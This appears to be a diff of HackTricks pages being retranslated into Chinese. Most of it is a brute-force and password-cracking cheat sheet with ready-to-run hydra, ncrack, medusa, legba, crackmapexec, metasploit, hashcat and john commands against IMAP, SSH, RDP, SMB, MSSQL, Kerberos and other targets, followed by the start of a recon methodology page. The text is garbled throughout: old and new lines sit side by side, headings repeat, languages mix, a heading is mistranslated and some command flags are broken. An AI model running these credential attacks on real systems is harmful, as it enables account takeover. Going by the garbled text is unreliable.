cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker brute-forces IMAP, they attempt to gain unauthorized access to email accounts by trying various username and password combinations until the correct one is found.
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker brute-forces IMAP, they attempt to gain unauthorized access to email accounts by systematically trying all possible passwords until the correct one is found.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -215,13 +234,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
#### Brute Force
Brute force attacks on IRC are typically used to guess the passwords of user accounts. These attacks involve trying all possible combinations of characters until the correct password is found. Brute force attacks can be time-consuming but are often successful if the password is weak.
#### Protection
To protect against brute force attacks on IRC, users should choose strong and unique passwords that are not easily guessable. Additionally, enabling account lockout policies after a certain number of failed login attempts can help prevent brute force attacks.
Internet中继聊天IRC是一种用于实时互联网聊天和交流的协议。
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
@ -233,7 +246,7 @@ nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/va
```
### JWT
JSON Web TokensJWT是一种用于在网络应用之间传递信息的开放标准RFC 7519。它通过使用数字签名来验证信息的可靠性和完整性。JWT通常由三部分组成头部Header、载荷Payload和签名Signature
JSON Web TokensJWT是一种开放标准RFC 7519用于在各方之间安全地传输信息作为 JSON 对象。 JSON Web Token 通常用于身份验证和信息交换
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
@ -258,7 +271,7 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
```
### LDAP
LDAP(轻型目录访问协议)是一种用于访问和维护分布式目录信息服务的协议。
### LDAP
```bash
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
@ -271,8 +284,6 @@ ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
```
### Mongo
Mongo是一种流行的NoSQL数据库常用于Web应用程序。Brute force攻击可以针对Mongo数据库进行尝试使用常见的用户名和密码组合来登录数据库。这种攻击方法可能会导致未经授权的访问和数据泄露。为了保护Mongo数据库免受Brute force攻击应该实施安全措施如使用强密码限制登录尝试次数并定期监控数据库活动。
```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
@ -281,8 +292,6 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
### MSSQL
### MSSQL
Brute-force attacks against MSSQL servers can be performed using tools like **MSSQLPump** or **MSSQLBF**. These tools can help automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute-forcing is a noisy attack and can easily be detected by intrusion detection systems.
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
@ -338,7 +347,7 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid
```
### POP
### POP
### 人气
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -351,7 +360,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
```
### PostgreSQL
PostgreSQL是一种流行的开源关系型数据库管理系统。在渗透测试中可以使用暴力破解技术来尝试破解PostgreSQL数据库的凭据。暴力破解是一种尝试所有可能的用户名和密码组合来获取访问权限的方法。可以使用工具如Hydra或者自定义脚本来执行暴力破解攻击。在执行暴力破解时需要注意遵守法律法规并且仅在获得明确的授权下才能进行。
### PostgreSQL
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -370,7 +379,7 @@ cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
```
### RDP
RDP brute force attacks involve trying to guess the username and password for an RDP server by systematically trying all possible combinations until the correct one is found. This can be done using tools like Hydra, Ncrack, or custom scripts. It is important to use strong and complex passwords to prevent successful brute force attacks.
远程桌面协议RDP是一种用于远程访问和控制计算机的协议。
```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
@ -389,7 +398,7 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
### Rexec
Rexec is a simple service that allows users to execute commands on a remote system. It is often used by administrators to manage servers and network devices. Attackers can use brute force attacks to guess passwords and gain unauthorized access to the remote system through Rexec.
Rexec is a simple service that allows users to execute commands on a remote system. It is often used by administrators to manage servers remotely. Attackers can use brute force attacks to guess passwords and gain unauthorized access to the remote system.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
@ -401,9 +410,13 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
### Rsh
### Rsh
#### Brute Force
Rsh (Remote Shell) is a simple remote shell client included in Unix operating systems. It can be used to execute commands on a remote system. Rsh is often targeted during brute-force attacks due to its lack of encryption and authentication mechanisms. It is recommended to disable Rsh if not needed to prevent unauthorized access to systems.
Brute force attacks are a common method used by hackers to gain unauthorized access to a system. This technique involves trying all possible combinations of usernames and passwords until the correct one is found.
#### Protection
To protect against brute force attacks, it is important to use strong and unique passwords, implement account lockout policies, and use multi-factor authentication. Additionally, monitoring login attempts and implementing rate limiting can help detect and prevent brute force attacks.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
@ -425,7 +438,7 @@ hydra -l root -P passwords.txt <IP> rtsp
```
### SFTP
SFTPSecure File Transfer Protocol是一种安全的文件传输协议通常用于在网络上安全地传输文件。
### SFTP
```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
@ -442,7 +455,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
```
### SMB
SMB (Server Message Block) is a protocol for sharing resources, such as files and printers, over a network. Brute-forcing SMB involves attempting to gain unauthorized access by trying various username and password combinations until the correct one is found. This can be done using tools like Hydra or Metasploit.
SMB (Server Message Block) is a protocol for sharing resources, such as files and printers, over a network. Brute-forcing SMB involves trying different username and password combinations to gain unauthorized access to an SMB server. This can be done using tools like Hydra or Metasploit.
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
@ -459,6 +472,8 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
### SOCKS
### SOCKS
SOCKS是一种网络协议允许客户端通过防火墙或代理服务器与服务器进行通信。
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@ -469,7 +484,23 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
#### Brute Force
Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to use strong, complex passwords and implement account lockout policies to protect against brute force attacks.
Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found.
#### Prevention
To prevent brute force attacks against SQL Server, you can implement the following measures:
1. **Strong Password Policy**: Enforce a strong password policy that includes a combination of letters, numbers, and special characters.
2. **Account Lockout Policy**: Implement an account lockout policy that locks out an account after a certain number of failed login attempts.
3. **Multi-Factor Authentication (MFA)**: Implement MFA to add an extra layer of security, requiring users to provide additional verification in addition to their password.
4. **Limit Login Attempts**: Limit the number of login attempts allowed within a certain time period to prevent automated brute force attacks.
5. **Monitor Logs**: Regularly monitor logs for any suspicious login activities and investigate any unauthorized access attempts.
By implementing these preventive measures, you can significantly reduce the risk of brute force attacks against your SQL Server.
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -480,7 +511,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
```
### SSH
SSHSecure Shell是一种加密网络协议用于安全地连接和通信。SSH暴力破解是一种尝试所有可能的用户名和密码组合来破解SSH登录凭据的攻击方法。攻击者使用自动化工具来连续尝试登录直到找到正确的凭据为止。为了防止SSH暴力破解可以采取措施如使用强密码、限制登录尝试次数、使用多因素身份验证等
SSHSecure Shell是一种加密网络协议用于通过不安全的网络安全地进行远程访问和控制
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -502,7 +533,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords.
```
### Telnet
Telnet是一种用于远程登录的协议。
Telnet是一种用于远程登录的网络协议。攻击者可以使用暴力破解技术尝试猜测Telnet服务的凭据。攻击者通常会使用自动化工具来尝试大量的用户名和密码组合直到找到有效的凭据为止。为了防止Telnet服务被暴力破解建议使用强密码并限制登录尝试次数以防止恶意攻击。
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -536,14 +567,14 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
### Winrm
Winrm (Windows Remote Management) 是一种远程管理协议,可用于远程执行命令
Winrm是Windows远程管理服务的缩写
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化工作流**,使用全球**最先进**的社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化**由全球**最先进**的社区工具驱动的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -552,19 +583,19 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
### 在线破解数据库
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hashes)
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1带/不带ESS/SSP和任何挑战值)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (哈希值WPA2捕获和存档MSOfficeZIPPDF...)
* [https://crackstation.net/](https://crackstation.net) (哈希值)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://gpuhash.me/](https://gpuhash.me) (哈希值和文件哈希值)
* [https://hashes.org/search.php](https://hashes.org/search.php) (哈希值)
* [https://www.cmd5.org/](https://www.cmd5.org) (哈希值)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5NTLMSHA1MySQL5SHA256SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
在尝试对哈希进行暴力破解之前,请查看内容。
在尝试对哈希进行暴力破解之前,请查看这些内容。
### ZIP
```bash
@ -624,13 +655,13 @@ Brute force attacks consist of systematically checking all possible keys or pass
##### Techniques
- **Dictionary Attack**: In this method, a predefined list of words is used to try to crack passwords. This is more efficient than a brute force attack as it reduces the number of possible combinations.
- **Hybrid Attack**: Combines dictionary words with numbers and symbols to increase the chances of cracking passwords.
- **Rainbow Table Attack**: Uses precomputed tables to crack passwords quickly. This method is faster than traditional brute force attacks.
- **Dictionary Attack**: In this technique, a predefined list of words is used to try to crack passwords. This method is more efficient than brute force as it reduces the number of possible combinations.
- **Hybrid Attack**: A combination of dictionary and brute force attacks, where common patterns and known passwords are used along with systematically checking all possible keys.
- **Rainbow Table Attack**: Precomputed tables of hash values are used to look up passwords. This method can significantly speed up the cracking process.
##### Prevention
##### Best Practices
- Use complex and unique passwords that are not easily guessable.
- Use complex and unique passwords to make brute force attacks more difficult.
- Implement account lockout policies to prevent multiple login attempts.
- Use multi-factor authentication to add an extra layer of security.
- Regularly update passwords and encryption keys to mitigate the risk of brute force attacks.
@ -667,8 +698,6 @@ hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.tx
### Keepass
### Keepass
Keepass is a popular password manager that stores passwords in an encrypted database. To brute force the master password of a Keepass database, tools like KeepassCracker and John the Ripper can be used. These tools can automate the process of trying different password combinations until the correct one is found. It is important to use strong and complex passwords to prevent successful brute force attacks.
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
@ -678,7 +707,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
### Keberoasting
Keberoasting是一种攻击技术旨在利用Active Directory中的弱密码。攻击者通过请求TGT票证然后将其转换为TGS票证最终将其用于获取用户的NTLM哈希。
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
@ -706,7 +735,7 @@ mount /dev/mapper/mylucksopen /mnt
```
另一个Luks BF教程[http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
### MySQL
```bash
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
@ -723,11 +752,11 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### DPAPI Master Key
使用 [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) 然后使用 john
使用[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)然后运行john
### Open Office Pwd Protected Column
如果您有一个受密码保护的 xlsx 文件,您可以取消保护:
如果您有一个由密码保护的列的xlsx文件,您可以取消保护:
* **将其上传到谷歌云盘**,密码将自动删除
* **手动**进行**删除**
@ -746,10 +775,10 @@ zip -r file.xls .
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化**由全球**最先进**社区工具驱动的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -776,9 +805,9 @@ hash-identifier
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### John变异
### John mutation
阅读 _**/etc/john/john.conf**_ 并进行配置
阅读 _**/etc/john/john.conf**_对其进行配置
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
@ -789,7 +818,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
* **字典攻击** (`-a 0`) 使用规则
**Hashcat** 已经带有一个包含规则的文件夹,但你也可以在[这里找到其他有趣的规则](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
**Hashcat**已经带有一个**包含规则的文件夹**,但你也可以在[**这里找到其他有趣的规则**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
@ -851,66 +880,69 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
## Brute Forcing Linux Hashes
## Brute Forcing
### Introduction
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing is often employed using tools like John the Ripper or Hashcat.
Brute forcing Linux hashes involves attempting to crack password hashes stored in the `/etc/shadow` file on a Linux system. This file contains hashed passwords for user accounts on the system.
### Steps to Brute Force Linux Hashes:
### Methodology
1. **Obtain the Hash:** First, you need to obtain the hashed password from the `/etc/shadow` file.
1. **Obtain the Hashes**: Gain access to the `/etc/shadow` file on the target Linux system. This can be done by exploiting vulnerabilities, gaining unauthorized access, or through other means.
2. **Select a Tool:** Choose a suitable password cracking tool such as John the Ripper or Hashcat.
2. **Hash Cracking Tools**: Use tools like John the Ripper, Hashcat, or other password cracking tools to perform brute force attacks on the password hashes.
3. **Configure the Tool:** Set up the tool to use the correct hashing algorithm and any other relevant parameters.
3. **Wordlist Attack**: Utilize a wordlist containing commonly used passwords, dictionary words, and variations to crack the hashes through a dictionary attack.
4. **Start Brute Forcing:** Initiate the brute force attack using the selected tool, which will systematically try different password combinations.
4. **Brute Force Attack**: If a wordlist attack fails, resort to a brute force attack where all possible combinations of characters are tried until the correct password is found.
5. **Wait for Results:** Depending on the complexity of the password, the tool will eventually find the correct password through brute force.
5. **GPU Acceleration**: Utilize GPU acceleration with tools like Hashcat to significantly speed up the brute forcing process.
6. **Access the Password:** Once the correct password is found, you can use it to access the target system or account.
6. **Password Complexity**: Consider the password complexity and length when choosing the attack method. Longer and more complex passwords will take longer to crack.
7. **Cracking Time**: The time taken to crack a password depends on factors like password complexity, length, and the computing power available for the brute force attack.
### Conclusion
Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, especially for complex passwords. It is essential to use strong, unique passwords and employ additional security measures to protect against unauthorized access.
Remember that brute forcing can be time-consuming, especially for complex passwords. It is essential to use strong, unique passwords to protect against brute force attacks.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
# 破解Windows哈希
# Brute Force
## Brute Force
Brute force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack password hashes by trying all possible combinations until a match is found.
Brute force attacks are a common way to crack passwords. They consist of systematically checking all possible passwords until the correct one is found. This method can be time-consuming but is often effective.
## Tools
There are various tools available for performing brute force attacks on Windows hashes, such as **John the Ripper** and **Hashcat**. These tools can be used to automate the process of generating and testing password combinations.
There are various tools available for conducting brute force attacks, such as Hydra, Medusa, and John the Ripper. These tools can be customized to target specific services and protocols.
## Methodology
## Techniques
1. Obtain the password hash from the target Windows system.
2. Use a brute force tool to generate and test password combinations against the hash.
3. Monitor the tool's progress and wait for a match to be found.
4. Once the correct password is identified, it can be used to gain unauthorized access to the system.
Brute force attacks can be performed using different techniques, including:
By following this methodology, an attacker can potentially crack Windows hashes and gain access to sensitive information on a target system.
- **Dictionary Attack**: In this method, a list of commonly used passwords is used to try to crack the password.
- **Mask Attack**: This technique involves creating a password mask with specific characters, numbers, and symbols to reduce the search space.
- **Hybrid Attack**: A combination of dictionary and brute force attacks, where common passwords are tried first before systematically checking all possible combinations.
## Tips
- **Use Complex Passwords**: To defend against brute force attacks, use complex passwords with a mix of uppercase and lowercase letters, numbers, and special characters.
- **Implement Account Lockout Policies**: Implement policies that lock out an account after a certain number of failed login attempts to prevent brute force attacks.
- **Monitor Login Attempts**: Keep track of login attempts and investigate any suspicious activity to detect and prevent brute force attacks.
By understanding and utilizing these techniques, you can better protect your systems and data from brute force attacks.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
## Brute Force
## Brute-Force
Brute force attacks are a common way to crack hashes. This method involves trying all possible combinations of characters until the correct one is found. Brute force attacks can be time-consuming but are effective, especially for simpler passwords. There are tools available that can automate the brute force process, such as John the Ripper and Hashcat.
Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming and resource-intensive, but they are effective against weak passwords. There are tools available that can automate the brute-force process, such as John the Ripper and Hashcat.
### Using John the Ripper
To use John the Ripper for brute force attacks, you can run the following command:
To perform a brute-force attack using John the Ripper, you can use the following command:
```bash
john --format=FORMAT hash.txt
@ -920,15 +952,15 @@ Replace `FORMAT` with the hash type you are trying to crack, such as `MD5` or `S
### Using Hashcat
Hashcat is another powerful tool for brute force attacks. You can use Hashcat with the following command:
Hashcat is another powerful tool for cracking hashes using brute-force techniques. You can use Hashcat with the following command:
```bash
hashcat -m 0 hash.txt wordlist.txt
hashcat -m 0 hash.txt
```
Replace `0` with the hash mode you are trying to crack, and `wordlist.txt` with the file containing the wordlist you want to use for the attack.
Replace `0` with the hash mode you are trying to crack, such as `MD5` or `SHA256`.
Remember that brute force attacks can be resource-intensive and may take a long time to crack complex hashes. It is essential to use strong passwords to protect your data from brute force attacks.
By using these tools, you can automate the process of cracking common application hashes using brute-force techniques.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
@ -942,17 +974,17 @@ Remember that brute force attacks can be resource-intensive and may take a long
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\

View file

@ -8,13 +8,13 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口头表达能力)。
@ -24,27 +24,27 @@
> 所以你被告知某家公司的所有东西都在范围内,你想弄清楚这家公司实际拥有什么。
这个阶段的目标是获取所有**主公司拥有的公司**,然后获取这些公司的**资产**。为此,我们将执行以下操作
这个阶段的目标是获取所有**主公司拥有的公司**,然后获取这些公司的**资产**。为此,我们将:
1. 找到主公司的收购情况,这将给我们范围内的公司。
2. 找到每家公司的**ASN**如果有这将给我们每家公司拥有的IP范围。
3. 使用反向whois查找来搜索与第一个相关的其他条目(组织名称、域名等)(这可以递归执行)。
4. 使用其他技术如shodan的`org`和`ssl`过滤器来搜索其他资产(`ssl`技巧可以递归行)。
2. 找到每家公司的ASN如果有这将给我们每家公司拥有的IP范围。
3. 使用反向whois查找来搜索与第一家公司相关的其他条目(组织名称、域名...)(这可以递归进行)。
4. 使用其他技术如shodan的`org`和`ssl`过滤器来搜索其他资产(`ssl`技巧可以递归行)。
### **收购**
首先,我们需要知道主公司**拥有哪些其他公司**。\
种选择是访问[https://www.crunchbase.com/](https://www.crunchbase.com)**搜索**主公司,并点击“**收购**”。在那里,您将看到主公司收购的其他公司。\
另一种选择是访问主公司的**维基百科**页面并搜索**收购**。
个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com)**搜索**主公司,并点击“**收购**”。在那里,您将看到主公司收购的其他公司。\
另一个选项是访问主公司的**维基百科**页面并搜索**收购**。
> 好的,在这一点上,您应该知道所有在范围内的公司。让我们弄清楚如何找到它们的资产。
### **ASN**
### **ASNs**
自治系统号(**ASN**)是由**互联网数字分配机构IANA**分配给**自治系统**AS的**唯一编号**。\
**AS**由**IP地址块**组成,具有明确定义的访问外部网络的策略,并由单个组织管理,但可能由多个运营商组成。
一个**AS**由**IP地址块**组成,具有明确定义的访问外部网络的策略,并由单个组织管理,但可能由多个运营商组成。
找出公司是否分配了任何**ASN**以查找其**IP范围**是很有趣的。对范围内的所有**主机**执行**漏洞测试**并查找这些IP中的域名是很有的。\
找出**公司是否分配了任何ASN**以查找其**IP范围**是很有趣的。对范围内的所有**主机**执行**漏洞测试**并查找这些IP中的域名是很有意义的。\
您可以在[**https://bgp.he.net/**](https://bgp.he.net)中通过公司**名称**、**IP**或**域名**进行搜索。\
**根据公司所在地区,这些链接可能有助于收集更多数据:**[**AFRINIC**](https://www.afrinic.net) **(非洲),**[**Arin**](https://www.arin.net/about/welcome/region/) **(北美),**[**APNIC**](https://www.apnic.net) **(亚洲),**[**LACNIC**](https://www.lacnic.net) **(拉丁美洲),**[**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,可能所有**有用信息**IP范围和Whois**已经出现在第一个链接中。
```bash
@ -69,18 +69,18 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
您也可以使用[http://asnlookup.com/](http://asnlookup.com)它有免费API来查找组织的IP范围。\
您可以使用[http://ipv4info.com/](http://ipv4info.com)来查找域的IP和ASN。
您也可以使用 [http://asnlookup.com/](http://asnlookup.com)它有免费API组织的IP范围。\
您可以使用 [http://ipv4info.com/](http://ipv4info.com) 查找域的IP和ASN。
### **寻找漏洞**
此时,我们已经知道**范围内的所有资产**因此如果允许,您可以对所有主机启动一些**漏洞扫描器**NessusOpenVAS。\
